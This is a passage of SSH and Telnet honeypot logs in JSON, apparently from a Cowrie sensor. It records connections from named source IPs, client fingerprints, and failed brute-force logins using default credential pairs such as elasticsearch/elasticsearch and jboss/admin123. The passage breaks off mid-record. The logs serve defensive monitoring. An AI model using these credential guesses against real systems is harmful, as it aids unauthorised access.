{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9535d218dd","protocol":"telnet","message":"New connection: 62.210.97.77:40696 (10.17.0.5:23) [session: 3d9535d218dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:39.095922Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40712,"dst_ip":"10.17.0.5","dst_port":23,"session":"05988bf05164","protocol":"telnet","message":"New connection: 62.210.97.77:40712 (10.17.0.5:23) [session: 05988bf05164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:39.196570Z"}
{"eventid":"cowrie.session.closed","duration":1.4574627876281738,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:39.728778Z","src_ip":"134.209.8.29","session":"ce581463955d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f09aa523002","protocol":"ssh","message":"New connection: 176.65.132.254:53864 (10.17.0.5:22) [session: 9f09aa523002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:40.437273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:40.441625Z","src_ip":"176.65.132.254","session":"9f09aa523002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:40.523298Z","src_ip":"176.65.132.254","session":"9f09aa523002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:40.772569Z","src_ip":"176.65.132.254","session":"9f09aa523002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f714470c1d5d","protocol":"telnet","message":"New connection: 134.209.8.29:58300 (159.203.135.109:23) [session: f714470c1d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:41.179553Z"}
{"eventid":"cowrie.session.closed","duration":0.005315303802490234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:41.184742Z","src_ip":"134.209.8.29","session":"f714470c1d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:41.998173Z","src_ip":"176.65.132.254","session":"9f09aa523002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40718,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a09d44580ca","protocol":"telnet","message":"New connection: 62.210.97.77:40718 (10.17.0.5:23) [session: 0a09d44580ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:42.574885Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b1fcaea8c8","protocol":"telnet","message":"New connection: 62.210.97.77:40728 (10.17.0.5:23) [session: 78b1fcaea8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:43.458072Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35878,"dst_ip":"10.17.0.5","dst_port":22,"session":"db8ae1789bdf","protocol":"ssh","message":"New connection: 176.65.132.254:35878 (10.17.0.5:22) [session: db8ae1789bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:44.577416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:44.585758Z","src_ip":"176.65.132.254","session":"db8ae1789bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:44.669079Z","src_ip":"176.65.132.254","session":"db8ae1789bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:44.939377Z","src_ip":"176.65.132.254","session":"db8ae1789bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:46.038655Z","src_ip":"176.65.132.254","session":"db8ae1789bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.549145698547363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:46.125504Z","src_ip":"62.210.97.77","session":"b26e14d90173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40744,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a9b9799722","protocol":"telnet","message":"New connection: 62.210.97.77:40744 (10.17.0.5:23) [session: e6a9b9799722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:46.147486Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e142565840be","protocol":"telnet","message":"New connection: 62.210.97.77:40750 (10.17.0.5:23) [session: e142565840be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:46.921069Z"}
{"eventid":"cowrie.session.closed","duration":36.53059983253479,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.375518Z","src_ip":"62.210.97.77","session":"7da843e265bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.984742164611816,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.481676Z","src_ip":"62.210.97.77","session":"2aa4f563061d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":41376,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a99083ffb0f","protocol":"ssh","message":"New connection: 156.232.13.218:41376 (10.17.0.5:22) [session: 1a99083ffb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.683827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.689028Z","src_ip":"156.232.13.218","session":"1a99083ffb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.762655Z","src_ip":"156.232.13.218","session":"1a99083ffb0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40754,"dst_ip":"10.17.0.5","dst_port":23,"session":"9babd37353ac","protocol":"telnet","message":"New connection: 62.210.97.77:40754 (10.17.0.5:23) [session: 9babd37353ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:47.995624Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1","message":"login attempt [developer/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.084336Z","src_ip":"156.232.13.218","session":"1a99083ffb0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35880,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1fa819f37bc","protocol":"ssh","message":"New connection: 176.65.132.254:35880 (10.17.0.5:22) [session: f1fa819f37bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.552861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.751453Z","src_ip":"176.65.132.254","session":"f1fa819f37bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.755218Z","src_ip":"176.65.132.254","session":"f1fa819f37bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":51366,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3ea7dab3a5","protocol":"ssh","message":"New connection: 187.16.96.250:51366 (10.17.0.5:22) [session: 0b3ea7dab3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.981158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:48.984822Z","src_ip":"187.16.96.250","session":"0b3ea7dab3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:49.103638Z","src_ip":"187.16.96.250","session":"0b3ea7dab3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:49.159460Z","src_ip":"176.65.132.254","session":"f1fa819f37bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:49.164400Z","src_ip":"156.232.13.218","session":"1a99083ffb0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"admin123","message":"login attempt [jboss/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:49.601204Z","src_ip":"187.16.96.250","session":"0b3ea7dab3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:50.244644Z","src_ip":"176.65.132.254","session":"f1fa819f37bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:50.719305Z","src_ip":"187.16.96.250","session":"0b3ea7dab3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.34431028366089,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:51.686197Z","src_ip":"62.210.97.77","session":"4a8737292ed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56516,"dst_ip":"10.17.0.5","dst_port":22,"session":"e267c255e458","protocol":"ssh","message":"New connection: 176.65.132.254:56516 (10.17.0.5:22) [session: e267c255e458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:52.618630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:52.623004Z","src_ip":"176.65.132.254","session":"e267c255e458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:52.708069Z","src_ip":"176.65.132.254","session":"e267c255e458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:53.175122Z","src_ip":"176.65.132.254","session":"e267c255e458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45042,"dst_ip":"10.17.0.5","dst_port":23,"session":"764e8edbf8fc","protocol":"telnet","message":"New connection: 65.60.27.33:45042 (10.17.0.5:23) [session: 764e8edbf8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:53.192733Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:54.259516Z","src_ip":"176.65.132.254","session":"e267c255e458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.40884065628052,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:54.663577Z","src_ip":"65.60.27.33","session":"3358e5480883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":59304,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1288a2d52e","protocol":"telnet","message":"New connection: 136.144.139.78:59304 (159.203.135.109:23) [session: 9b1288a2d52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:54.719271Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56534,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ac5426d882","protocol":"ssh","message":"New connection: 176.65.132.254:56534 (10.17.0.5:22) [session: c2ac5426d882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:56.769533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:21:56.773931Z","src_ip":"176.65.132.254","session":"c2ac5426d882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 